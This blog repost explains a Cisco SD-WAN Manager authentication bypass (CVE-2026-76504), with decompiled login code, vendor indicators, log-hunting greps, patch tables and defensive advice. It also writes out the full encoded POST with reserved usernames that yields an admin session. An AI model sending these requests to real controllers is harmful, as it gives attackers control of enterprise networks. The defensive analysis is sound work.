core-jmp core-jmpdeath of core jump

Revenge of the SD-WAN: Exploring and Exploiting Yet Another Critical Cisco SD-WAN Vulnerability (CVE-2026-76504)

Cisco published CVE-2026-76504, a critical authentication bypass in Catalyst SD-WAN Manager. Landon Rice at VulnCheck showed that a single percent-encoded POST to /%6a_security_check plus a reserved Viptela username mints an admin JSESSIONID, because getRequestURI() does not decode while WildFly does. About 1,500 vManage consoles were internet-exposed; the bug was exploited as a zero-day.

oxfemale October 14, 2026 25 min read 128 reads
Export PDF
Revenge of the SD-WAN: Exploring and Exploiting Yet Another Critical Cisco SD-WAN Vulnerability (CVE-2026-76504)
Original text: “Revenge of the SD-WAN: Exploring and Exploiting Yet Another Critical Cisco SD-WAN Vulnerability (CVE-2026-76504)” — Landon Rice, VulnCheck (1 October 2026). Code, tables and figures below are reproduced verbatim with attribution captions.

Executive Summary

On 30 September 2026 Cisco published an out-of-band advisory for CVE-2026-76504, a critical authentication bypass in Cisco Catalyst SD-WAN Manager (vManage). The next morning Landon Rice of VulnCheck walked the same path an attacker would: stand up a lab, send two nearly identical login POSTs, and watch the error messages diverge. The difference was a single percent-encoded byte in the path. /%6a_security_check is the same door as /j_security_check once a servlet container decodes it, and a different door when Cisco’s own JAAS module asks HttpServletRequest.getRequestURI() for the raw request line. That disagreement skips the password check, drops the request into a trusted-session fallback, and, with one of two reserved Viptela usernames, mints an admin JSESSIONID.

VulnCheck Target Intelligence counted about 1,500 internet-exposed vManage consoles at the time of the post. Cisco later confirmed the bug was exploited in the wild in September 2026. No public actor attribution, and no legitimate public exploit, as of 1 October 2026. A fake GitHub tree was reviewed and rejected. This article follows Rice’s write-up in source order: the Wednesday Slack ping, the two error codes, Envoy in front of WildFly, the decompiled AppServerLoginModule.login() branch, the four viptela-reserved-* names, and the RBAC fork that leaves only cloudops and uc useful. Kitchen-table notes explain percent-encoding. Operator notes map CWE-177 and ATT&CK T1190, fold in Cisco’s public IoCs and fixed-release table, and stop short of a drop-in exploit. VulnCheck’s customer-only Initial Access Intelligence pack (weaponized exploit, YARA, PCAP, ASM, Snort, Suricata) stays with VulnCheck.

Kitchen table: Think of the vManage web UI as the front desk of a nationwide WAN. Whoever sits at that desk can push routing policy, add users, and see every branch. CVE-2026-76504 is a trick that lets a stranger walk up, say a made-up internal name, and receive a visitor badge that the building treats as an administrator badge. The trick is a spelling of the login URL that the door lock reads one way and the receptionist reads another.
For operators: Classification used below: CWE-177 (Improper Handling of URL Encoding), Cisco advisory cisco-sa-sdwan-webauth-xr8beuuU, bug CSCww79570, CVSS 3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8). MITRE ATT&CK T1190 Exploit Public-Facing Application as initial access. The reachable surface is the vManage HTTPS API, commonly on TCP 8443, behind Envoy service-proxy and WildFly/Undertow. Pre-auth from the network: no valid password is required once the encoded path plus a reserved username is accepted.
Open Graph card for Revenge of the SD-WAN CVE-2026-76504 on VulnCheck
Hero card from the VulnCheck post announcing CVE-2026-76504. Source: original article.
CVE-2026-76504 mapped to CWE-177, CVSS 9.8, and ATT&CK T1190
Editorial map of the bug class, the score, and the ATT&CK technique. Editorial illustration added for this article.

A Wednesday ping, then a year of SD-WAN

Rice opens on a calm Wednesday that did not stay calm. A Slack ping announced a fresh Cisco Security Advisory. The CWE on the page was already a hint: CWE-177, improper handling of URL encoding. Cisco’s own indicators of compromise added a second anchor, the string viptela-reserved-. Those two breadcrumbs were enough to start. He had already spent 2026 inside this product line. VulnCheck’s earlier SD-WAN Manager notes cover a pile of related bugs, including at least five zero-days named in the post: CVE-2026-20127, CVE-2026-20182, CVE-2026-20245, and now CVE-2026-76504. The practical complaint is almost comic: the same OVA keeps getting reinstalled because snapshots were never taken.

vManage is the controller in Cisco Catalyst SD-WAN, the former Viptela overlay. It is a Java EE application on WildFly, fronted by Envoy, talking REST under /dataservice/, with a classic container login at /j_security_check. Operators who grew up on Viptela still see those reserved service accounts in AAA documentation. Attackers who grew up on 2026 SD-WAN advisories already treat the controller as a prize: one admin session is a policy plane, not a single host.

Kitchen table: SD-WAN is a way to run a company network over ordinary internet links and still pretend it is a private WAN. The controller is the adult in the room. If someone else becomes the adult, every branch follows their rules. That is why a login bug on vManage is not a “website issue.” It is a WAN issue.
For operators: Related 2026 SD-WAN CVEs named in the source stay named, nothing invented: CVE-2026-20127, CVE-2026-20182, CVE-2026-20245, plus CVE-2026-76504. Rice’s “at least five zero-days” line is kept as his count, not expanded. Hunt and patch programs that already track those IDs should add 76504 to the same controller bucket, same logs, same exposure question: is TCP 8443 reachable from untrusted networks?

Analysis

The advisory text is short on mechanism. It says an attack can bypass “an authentication rule” with a crafted HTTP request, and it gives one example path. It does not say what happens after the request, whether credentials are still required, or why encoding matters. Detection guidance names two files: serviceproxy-access.log and vmanage-server.log. The rest of Rice’s analysis is from a lab, not from the PDF.

I forget about whatever I was doing before and immediately start investigating the advisory. And before I even scroll to the bottom of the page, I get a great hint: it’s CWE-177.

Landon Rice, VulnCheck, 1 October 2026

The request the advisory actually printed

Cisco’s example, as quoted in the VulnCheck post, is a POST with a percent-encoded first letter and, in that quotation, a space in the rest of the token. Reproduction later uses the real servlet path with an underscore. Both forms are kept here because both appear in the source materials. The space is the advisory’s example as printed. The working lab path is /%6a_security_check.

POST /%6a_security check HTTP/1.1

Source: original article, quoting the Cisco advisory example. Note the space in security check as printed there. Cisco’s later IoC examples use the underscore form /%6a_security_check. The public advisory also warns that any one encoded character in the request can be used, not only %6a for j.

Kitchen-table diagram of j_security_check versus the percent-encoded path
Two spellings of the login door: literal j versus percent-encoded %6a. Editorial illustration added for this article.
Kitchen table: Percent-encoding is how the web writes a character as a percent sign plus two hex digits. %6a and %6A are the letter j. A browser treating the string as a URL will decode it. A Java method that promises to return the raw request-line path will not. If one piece of software decodes and the other does not, they are no longer looking at the same word, even though a human would swear they are.
For operators: Servlet API: HttpServletRequest.getRequestURI() returns the path from the request line without decoding. getServletPath() / container security-constraint matching commonly decode first. CWE-177 is exactly this class of disagreement. Equivalent encodings of other characters in j_security_check are in scope per Cisco; do not write detections that only grep %6a.

First reproduction: two different errors

After the target was standing, Rice logged in twice: once to the literal path, once to the encoded variant. Same body. Different JSON. That is the whole first experiment.

Literal path. The container treats this as a real form login. The password is checked. The database says no. The UI says so in the usual way.

POST /j_security_check HTTP/1.1
j_username=admin&j_password=evilpassword123

{"error":{"message":"Login Error","code":"Failed to login user ","details":"Invalid username or password","type":"Error"}}

Source: original article. Error code Failed to login user, details Invalid username or password.

Encoded path. The password is never compared. Something downstream fails earlier and returns a different code.

POST /%6a_security_check HTTP/1.1

j_username=admin&j_password=evilpassword123

{"error":{"message":"Login Error","code":"LOGIN000 ","details":"userInfo is null","type":"Error"}}

Source: original article. Error code LOGIN000, details userInfo is null. A different error code is a different code path. Credentials were not the thing that failed.

Kitchen table: If you type the wrong PIN on a door, the lock says “wrong PIN.” If you tap a second, poorly labeled button and the lock says “I do not even know who you are,” you have found a different machine behind the same plate. That second message is how Rice knew the encoding was doing real work.
For operators: The nms.userInfo.null resource-bundle key is the string behind userInfo is null. Seeing it on the encoded request, and not on the literal one, is a reliable lab oracle that loginUser() was skipped. Do not treat LOGIN000 alone as proof of compromise: it is proof of the fallback path. Compromise evidence is a 200 with Set-Cookie: JSESSIONID for a viptela-reserved-* user, then a successful call to an admin API.

Getting a look behind the scenes

Docker inspection showed the shape of the appliance. In front: service-proxy, which is Envoy. Behind it: application-server, a Java process launched with -c standalone-viptela.xml, jboss.as.standalone, and a classpath rooted at /var/lib/wildfly. That is ordinary WildFly, Red Hat’s Java EE server, with the embedded Undertow HTTP engine. The login endpoint is not a custom servlet mapping. It is a container-managed form login.

Request path from Envoy service-proxy to WildFly AppServerLoginModule
Decoded matching in the container versus a raw URI check in Cisco’s JAAS module. Editorial illustration added for this article.

The deployed WAR’s web.xml lists j_security_check under a security constraint commented <!-- No auth-constraint means everybody has access! -->, next to a pile of other paths. That comment is normal: a session cannot exist until login runs, so the login POST has to be reachable without an existing session. There is no <servlet> entry mapped to the endpoint either. The container itself owns the first hop. The interesting logic lives in whatever actually consumes j_username and j_password.

standalone-viptela.xml points at a security domain named ServerAuthRealm wired to a JAAS login module: com.viptela.vmanage.server.auth.AppServerLoginModule. The class ships in vmanage-server-1.0.0-SNAPSHOT.jar under WEB-INF/lib. Rice extracted it and decompiled it. The login() method matches the two errors from the lab.

Kitchen table: Envoy is a reverse proxy: a bouncer who forwards HTTP. WildFly is the building. Undertow is the lobby. JAAS is the badge printer. Cisco wrote the badge printer. The bouncer and the badge printer do not share a dictionary for percent signs. That is the entire architecture story.
For operators: Lab notes that stay useful for responders: process line with standalone-viptela.xml, data under /var/lib/wildfly, WAR web.xml security-constraint on j_security_check without an auth-constraint, JAAS module com.viptela.vmanage.server.auth.AppServerLoginModule in vmanage-server-1.0.0-SNAPSHOT.jar. Those identifiers help confirm you are on a vManage application-server container, not a random Java box.

The branch that runs a real password check

The decompiled condition is a substring test on the raw URI. If the URI contains j_security_check (or samlLoginResponse, or the request is basic auth), the module calls loginUser(), which talks to the user database. A failed password becomes “Invalid username or password.” A null userInfo after that call throws nms.userInfo.null.

} else if (request.getRequestURI() != null && (isBasicAuth
     || request.getRequestURI().contains("j_security_check")
     || request.getRequestURI().contains("samlLoginResponse"))) {
 userInfo = this.loginUser(userId, password, request, multiTenantUserIdTools, isSamlUser);
 if (userInfo == null) {
     throw new LoginException(this.vManageResourceBundle.getString("nms.userInfo.null"));
 }

Source: original article, decompiled AppServerLoginModule.login(). The encoded path does not contain the literal substring j_security_check, because getRequestURI() does not decode. The condition is false. loginUser() never runs. The password is irrelevant.

So this condition evaluates false when we pass in a URL-encoded path, and loginUser() never runs. We entirely skipped the password check part of the code.

Landon Rice, VulnCheck

The fallback that trusts you anyway

Skipping the password check is not yet an admin session. Other gates still sit on the request. The next branch in the same method is written for continuing an already trusted session: tenant IDs that already match, or a caller who is already an internal user, or a CToken user. It constructs a fresh UserInfo without a database password comparison.

} else {
 String requestTenantId = multiTenantUserIdTools.getTenant().getId();
 String sessionTenantId = (String) request.getSession().getAttribute("tenant-id");
 if (!(this.isInternalUser(userId) || CTokenConstants.CTOKEN_USERS.contains(userId)
         || requestTenantId != null && sessionTenantId != null
            && requestTenantId.contentEquals(sessionTenantId))) {
     throw new LoginException(this.vManageResourceBundle.getString("nms.userInfo.null"));
 }
 userInfo = new UserInfo(this, this.getTenantComponent(), userId, password,
                          multiTenantUserIdTools, request.getServerName(), isSamlUserFromDb);
}

Source: original article. The remaining gate that an unauthenticated caller can actually satisfy is isInternalUser(userId). Tenant-id matching needs an existing session. CToken users are a separate list. Internal users are a short, static list.

Kitchen table: The software has a side door for people who are already inside: internal service accounts, tokens, a tenant that was already proven. The encoding trick dumps a stranger into that side door. The stranger still has to pick a name the side door recognizes. That name is not a secret password. It is a username on a short list compiled into the product.

isInternalUser() is a substring contains()

The helper is not an equality check against a hashed identity. It walks AdminConstants.INTERNAL_USERS and returns true on the first String.contains hit.

public boolean isInternalUser(String userSessionId) {
 for (String user : AdminConstants.INTERNAL_USERS) {
     if (!userSessionId.contains(user)) continue;
     return true;
 }
 return false;
}

Source: original article. A substring gate means a username that merely contains one of the reserved tokens is enough. The four tokens extracted from the same JAR are Cisco internal web-app usernames:

  • viptela-reserved-dca
  • viptela-reserved-cloud
  • viptela-reserved-cloudops
  • viptela-reserved-uc

Supplying any of the four as j_username satisfies the gate and builds a login session. The password field can be anything. RBAC is the next filter, and it is not the same for all four.

For operators: Substring contains() on usernames is a gift to both attackers and hunters. Cisco’s IoC string viptela-reserved- is a correct prefix hunt. It also means a crafted username that embeds one of those tokens would pass this gate; Rice’s tests used the tokens themselves. The four names are documented as system service accounts in Cisco’s AAA / systems-and-interfaces guide. They are not a secret wordlist. They are product furniture.

Exploring our usernames

A minted session is not automatically an admin API. Rice posted the encoded login as viptela-reserved-dca, received a JSESSIONID, then called GET /dataservice/admin/user. The cookie was real. The role was not.

Four reserved Viptela usernames and which two pass admin RBAC
dca and cloud fail admin RBAC; cloudops and uc succeed. Editorial illustration added for this article.
POST /%6a_security_check HTTP/1.1
Host: <redacted>:8443
Content-Type: application/x-www-form-urlencoded

j_username=viptela-reserved-dca&j_password=anything123

HTTP/1.1 200 OK
Set-Cookie: JSESSIONID=YRrfcLzYtJadKoVPjtkiio25sJg4k2VNV3egHs42.fee963f4-d070-47f6-81b7-27ec1bb8c853; path=/; secure; HttpOnly
Content-Length: 0

GET /dataservice/admin/user HTTP/1.1
Host: <redacted>:8443
Cookie: JSESSIONID=YRrfcLzYtJadKoVPjtkiio25sJg4k2VNV3egHs42.fee963f4-d070-47f6-81b7-27ec1bb8c853

Access forbidden: role not allowed

Source: original article. HTTP 200 on the encoded POST, Set-Cookie: JSESSIONID=..., then Access forbidden: role not allowed on the admin user API. RBAC is a second lock. Repeating the test across the four names showed only two useful accounts.

UsernameSession minted?GET /dataservice/admin/user
viptela-reserved-dcaYesAccess forbidden: role not allowed
viptela-reserved-cloudYesAccess forbidden: role not allowed
viptela-reserved-cloudopsYesAdmin API allowed
viptela-reserved-ucYesAdmin API allowed
RBAC outcomes from the original post. Source: original article.

The last request in the post substitutes viptela-reserved-cloudops. The response is a silent success: 200, a new cookie, empty body, and then the admin API is called with that cookie. The write-up lets the dump speak; the GET body is omitted there, and it is omitted here.

POST /%6a_security_check HTTP/1.1
Host: <redacted>:8443
Content-Type: application/x-www-form-urlencoded

j_username=viptela-reserved-cloudops&j_password=anything123

HTTP/1.1 200 OK
Set-Cookie: JSESSIONID=XOML8LXZxJE2BtsYOwljDTqbquOk3RZFx4Dr21jA.fee963f4-d070-47f6-81b7-27ec1bb8c853; path=/; secure; HttpOnly
Content-Length: 0

GET /dataservice/admin/user HTTP/1.1
Host: <redacted>:8443
Cookie: JSESSIONID=XOML8LXZxJE2BtsYOwljDTqbquOk3RZFx4Dr21jA.fee963f4-d070-47f6-81b7-27ec1bb8c853

Source: original article. Same encoded POST shape, username viptela-reserved-cloudops, password anything, admin JSESSIONID issued. viptela-reserved-uc is described as equally useful. That is the fully valid admin-level session the introduction promised, from a single POST.

Kitchen table: Four badges print. Two of them open only the lobby. Two of them open the control room. The names are almost boring: cloud operations, unified communications. Boring names with admin roles are how a lot of vendor appliances are operated from the mothership. Here those names are also how a stranger becomes the mothership.
For operators: Post-auth impact on vManage is the whole controller: user administration, device lists, templates, policy. This article does not enumerate unpublished API methods or chain into a second CVE. For IR, a stolen admin session is enough to justify isolation of the controller, rotation of local accounts, and a config diff against last-known-good templates. Cookie flags in the dump: path=/; secure; HttpOnly. No public evidence in the source of SameSite. Treat the cookie as bearer admin on 8443.

Root cause, said plainly

Two pieces of code look at the same string and disagree. WildFly’s security-constraint matcher decodes the path first and decides whether authentication is required at all. Cisco’s AppServerLoginModule.login() calls getRequestURI(), which returns the raw undecoded path, and uses a substring test to decide whether to run a real password check. Encode one character so the matcher still sees j_security_check and the JAAS module does not, skip loginUser(), land in the trusted-session fallback, present an internal username, collect a session.

With this mismatch, an attacker can mint a fresh session out of thin air and use it as an easy entry point into an organization.

Landon Rice, VulnCheck, conclusion

That is CWE-177 as a one-request initial-access primitive, not as a theoretical encoding lecture. The interesting engineering failure is not that percent-encoding exists. It is that a security decision and an authentication decision consumed different normalizations of the same request line.

What Cisco published after the VulnCheck post

Rice’s article is dated 1 October 2026, the day after the first advisory. Cisco’s public advisory cisco-sa-sdwan-webauth-xr8beuuU was updated on 2 October 2026 (version 1.1) with a Live Protect shield note. The facts below are from that public advisory, not from VulnCheck’s customer pack. They are included because operators reading this draft on 14 October 2026 need the patch table and the IoCs.

FieldPublic value
Advisory IDcisco-sa-sdwan-webauth-xr8beuuU
CVECVE-2026-76504
BugCSCww79570
CWECWE-177
CVSS 3.19.8 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
First published30 September 2026 13:00 GMT
Updated2 October 2026 23:18 GMT (Live Protect shield)
WorkaroundsNone that fix the bug
ExploitationCisco PSIRT aware of active exploitation in September 2026
Source of the bugFound during a TAC support case
SnortRule 67179 referenced on the advisory
Cisco public advisory fields. Editorial table from cisco-sa-sdwan-webauth-xr8beuuU, not a VulnCheck figure.

Vulnerable product: Cisco Catalyst SD-WAN Manager, regardless of system configuration. Cloud-hosted Cisco-managed SD-WAN had a filtering mitigation already deployed, per the advisory. On-prem remains the urgent case. There is no configuration knob that makes an unpatched on-prem manager safe if the API is reachable. The only remediation is a fixed release. Live Protect is temporary partial coverage and can break legitimate logins that themselves use URI encoding.

Cisco Catalyst SD-WAN Software ReleaseFirst fixed release
Earlier than 20.9Migrate to a fixed release
20.920.9.10.1
20.1220.12.8.2
20.1520.15.6.1
20.1820.18.4.1
26.126.1.2.1
26.226.2.1
Cisco SD-WAN Cloud (Cisco managed)20.15.605 (cloud; no customer action)
Fixed releases from the Cisco advisory. Editorial table from cisco-sa-sdwan-webauth-xr8beuuU.
Kitchen table: If you run vManage yourself, this is a patch-now bug, not a “wait for the change window in November” bug. If Cisco hosts it for you, they say they already filtered it. Ask them anyway, in writing, which cloud release you are on. The Live Protect shield is a seat belt, not a new car.
For operators: Confirm the running manager version against the table before declaring closure. Compatibility still has to be checked with the Catalyst SD-WAN Control Component Compatibility Matrix and the upgrade matrix. If Live Protect is applied, document the side effect: encoded-URI legitimate logins may fail. Remove the shield after the upgrade. Cloud 20.15.605 is Cisco-managed; on-prem operators still patch.

Public indicators, hunting, and the fake exploit

Cisco asks customers to audit two files. Paths from the advisory:

  • /var/log/nms/containers/service-proxy/serviceproxy-access.log
  • /var/log/nms/vmanage-server.log

The advisory’s example access-log line is a 200 POST to the encoded path, with a forwarded-for chain and an internal hop to 127.0.0.1:8080. Treat unknown source IPs as the hunt seed, and remember Cisco’s own warning that some of these lines can appear in standard operations.

Hunting CVE-2026-76504 in serviceproxy-access.log and vmanage-server.log
Public IoC shapes: encoded j_security_check and viptela-reserved- usernames. Editorial illustration added for this article.
[2026-09-29T23:11:13.948-05:00] "POST /%6a_security_check HTTP/1.1" 200 - 48 0 4 - "10.10.10.47,192.168.1.174" "Mozilla/5.0" "92980fc6-bb3c-4b67-8a6d-af5ceb236d4c" "vmanage-9999.example.com" "127.0.0.1:8080"

Cisco public IoC, serviceproxy-access.log example from cisco-sa-sdwan-webauth-xr8beuuU.

29-Sep-2026 23:11:13,952 CDT [] [vManage-new] [UserUtils] (default task-127462) |default| Request Stored in Map is (/%6a_security_check) for user (viptela-reserved-..)

Cisco public IoC, vmanage-server.log example from cisco-sa-sdwan-webauth-xr8beuuU. The interesting username is any viptela-reserved-* on an encoded j_security_check request.

Defensive grep shapes for a first pass on a copied log bundle. These are hunts, not an exploit:

# service-proxy access log: encoded or literal login POSTs
grep -E 'POST /(%[0-9A-Fa-f]{2}|j)_security_check' \
  /var/log/nms/containers/service-proxy/serviceproxy-access.log

# application log: reserved Viptela names on the login map
grep -F 'viptela-reserved-' /var/log/nms/vmanage-server.log

# pair them: encoded path AND reserved user
grep -E '%[0-9A-Fa-f]{2}_security_check' /var/log/nms/vmanage-server.log \
  | grep -F 'viptela-reserved-'

If you open a TAC case, Cisco asked for Severity 3 with CVE-2026-76504 in the title and an request admin-tech bundle from the manager. Collect that before you wipe a VM.

No legitimate public exploit — and one fake tree

As of 1 October 2026 Rice states there are no legitimate public exploits. There is at least one fake public tree, which VulnCheck reviewed and rejected: https://github.com/ShadowForge-Cyber/CVE-2026-76504-Proof-of-concept. Do not run it. Do not mirror it. Treat random GitHub “PoC” repos for this CVE as malware until proven otherwise. VulnCheck ships a weaponized exploit plus YARA, PCAP, ASM queries, and Snort/Suricata rules to Initial Access Intelligence customers. Those artifacts are not reproduced here. Cisco points at Snort rule 67179 on snort.org.

Kitchen table: A fake exploit on GitHub is a classic follow-on scam after a scary CVE: the zip file is the payload, the CVE number is the lure. If you did not get the file from Cisco, from your vendor, or from a lab you built yourself, do not execute it “just to see.”
For operators: Detection engineering: encode-aware signatures must match any percent-encoded character in the j_security_check token, plus overlong / mixed-case hex, plus the raw IoC string viptela-reserved- in application logs. Do not ship extra Snort/Suricata/YARA in this article; use Cisco 67179 and VulnCheck IAI if you have them. Network detections on 8443 that only look for the ASCII path will miss the bug by construction.

Exposure, blast radius, and ATT&CK

VulnCheck Target Intelligence found about 1,500 internet-exposed SD-WAN vManage devices when the post went up. That number is an exposure count, not a confirmed-compromised count. It is still large enough that mass scanning for the encoded POST was a reasonable fear on day one. Cisco’s hardening guidance for on-prem is the unglamorous version of the same fact: the manager API does not belong on the internet. Put it behind a filtering device, allow only known hosts, and log to an external store long enough to investigate.

ATT&CK / CWEHow it lands on this bug
T1190 Exploit Public-Facing ApplicationUnauthenticated HTTPS POST to vManage login / API
T1078 Valid Accounts (service accounts)Session minted as a reserved Viptela internal user
T1069 Permission Groups DiscoveryRBAC probe on /dataservice/admin/user distinguishes roles
CWE-177 Improper Handling of URL EncodingRaw vs decoded URI disagreement
CWE-287 Improper Authentication (related)Password check skipped; session still issued
CWE-863 Incorrect Authorization (related)Two of four internal names still pass admin RBAC
Editorial mapping. T1190 is the initial-access technique; the CWE on the advisory is 177.

Blast radius once an admin session exists: the controller is the policy plane. From there an operator — or an attacker — can change templates, add users, and touch the overlay. This write-up does not invent a follow-on chain. IR should assume full controller compromise until proven otherwise, especially if logs show cloudops or uc sessions from unexpected IPs.

Kitchen table: Fifteen hundred consoles on the internet is fifteen hundred front desks with the door unlocked. You do not need to understand Java to act on that sentence. Pull the desk off the street. Patch it. Then look at the guestbook (the two log files) for names that start with viptela-reserved-.
For operators: OPSEC for authorized testing: encoded login POSTs will land in both logs with a 200 and a reserved username. That is noisy. Coordinate with the blue team. Do not replay Rice’s dumps against a production manager as a “quick check” without change control; a successful admin session is a real session. Destroy lab cookies. Rotate any account you touched.

A short percent-encoding lab note for both audiences

Why %6a and not some other encoding trick? Because it is the smallest change that breaks a contains("j_security_check") test while leaving a decoded matcher looking at j_security_check. Hex 6a is ASCII j. Uppercase %6A is the same octet. Encoding a different letter in the token is in scope per Cisco’s “any one character” note. Double-encoding, overlong UTF-8, and path normalization games are the usual next tests in this bug class; Rice’s public post demonstrates the single-byte case that already yields admin. This article does not add unpublished bypass variants.

Request-line pathDecoded matcher seesgetRequestURI() contains j_security_check?loginUser()
/j_security_check/j_security_checkYesRuns (password checked)
/%6a_security_check/j_security_checkNoSkipped
/%6A_security_check/j_security_check (typical)NoSkipped (same class)
Editorial comparison of the two views of the path. The middle row is the demonstrated case.

Key Takeaways

  • CVE-2026-76504 is a pre-auth admin session mint on Cisco Catalyst SD-WAN Manager: one encoded POST plus a reserved Viptela username.
  • Root cause is CWE-177: WildFly decodes the path for the security constraint; getRequestURI() does not, so loginUser() is skipped.
  • The fallback constructs UserInfo for isInternalUser() hits against four compiled names; cloudops and uc pass admin RBAC.
  • About 1,500 vManage instances were internet-exposed on 1 October 2026; Cisco confirmed in-wild exploitation in September 2026.
  • No legitimate public exploit as of the VulnCheck post; a GitHub “PoC” was rejected as fake. Do not run random trees.
  • Hunt serviceproxy-access.log and vmanage-server.log for encoded j_security_check and viptela-reserved-.
  • Patch to the first fixed release for your train; there is no real workaround. Pull on-prem managers off the internet.

Defensive Recommendations

  1. Patch. Upgrade on-prem Cisco Catalyst SD-WAN Manager to the first fixed release for your train (20.9.10.1, 20.12.8.2, 20.15.6.1, 20.18.4.1, 26.1.2.1, 26.2.1, or migrate off pre-20.9). Confirm the version in the GUI Help output.
  2. Remove the internet path. Restrict 8443/443 to known management hosts. Follow the Cisco Catalyst SD-WAN Hardening Guide. Cloud-hosted tenants should still verify Cisco’s filter and their cloud release (20.15.605).
  3. Hunt now, keep logs. Copy serviceproxy-access.log and vmanage-server.log off-box. Grep encoded login paths and viptela-reserved-. Forward both files to SIEM with a long retention window.
  4. Treat hits as controller compromise. Unexpected cloudops / uc sessions: isolate the manager, collect request admin-tech, open TAC Severity 3 titled CVE-2026-76504, diff templates and users against last-known-good.
  5. Rotate and reduce. Change the default admin password, create named operator accounts, review local users created around 29–30 September 2026, and invalidate sessions after patching.
  6. Live Protect is temporary. If you deploy the shield, record the side effect (encoded-URI legitimate logins may fail) and remove it after the upgrade. It is not a substitute for a fixed release.
  7. Detection coverage. Enable Cisco Snort 67179 where you terminate TLS in front of vManage. Subscribe to VulnCheck IAI if you need their YARA/PCAP/ASM set. Do not rely on ASCII-only /j_security_check signatures.
  8. Ignore fake PoCs. Do not execute ShadowForge-Cyber/CVE-2026-76504-Proof-of-concept or lookalike repos. Rebuild labs from Cisco images, not from drive-by GitHub.

Conclusion

CVE-2026-76504 is a small string disagreement with a large organizational consequence. Cisco’s login module asked the servlet API for a raw path; WildFly had already decided, on a decoded path, that the request was allowed to reach login. Encode a letter, skip the password, present a reserved Viptela name, and the controller hands over an admin cookie. Landon Rice reproduced it in a day because 2026 had already forced him to live in this appliance. The rest of us get the cheaper version of that education: patch the manager, pull it off the internet, and read two log files for a username that was never supposed to appear on a public POST. The overlay will not save you if the controller already belongs to someone else.

About VulnCheck

VulnCheck builds exploit and vulnerability intelligence for prioritization: product managers, PSIRT, and threat hunters. Rice points readers at more of the same year’s research — Death by 20,000 PoCs, Exploiting SharePoint: CVE-2026-55040 and CVE-2026-63520, and ENDLESSDOORS Is Phoning Home. Pick Up — and at the community KEV, the vulnerability console, and trials of Initial Access Intelligence, IP Intelligence, Canary Intelligence, and Exploit & Vulnerability Intelligence. Author site: landxn.com.

Original text: “Revenge of the SD-WAN: Exploring and Exploiting Yet Another Critical Cisco SD-WAN Vulnerability (CVE-2026-76504)” by Landon Rice at VulnCheck.

oxfemale Vulnerability research, reverse engineering, and exploit development.
// Discussion